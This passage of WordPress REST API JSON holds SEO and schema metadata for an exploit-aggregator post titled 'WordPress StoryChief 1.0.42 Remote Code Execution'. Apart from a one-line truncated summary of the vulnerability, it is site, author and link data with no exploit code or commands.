redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=29732","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:44:18&#8243;,&#8221;description&#8221;:&#8221;A critical security vulnerability exists in WordPress Story Chief plugin version 1.0.42 that allows unauthenticated attackers to achieve remote code execution by exploiting the webhook...","og_url":"https:\/\/zero.redgem.net\/?p=29732","og_site_name":"zero redgem","article_published_time":"2025-12-09T12:37:31+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=29732#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=29732"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608","datePublished":"2025-12-09T12:37:31+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=29732"},"wordCount":2260,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=29732#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=29732","url":"https:\/\/zero.redgem.net\/?p=29732","name":"\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-09T12:37:31+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=29732#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=29732"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=29732#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29732","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29732"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29732\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29732"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29732"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29732"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}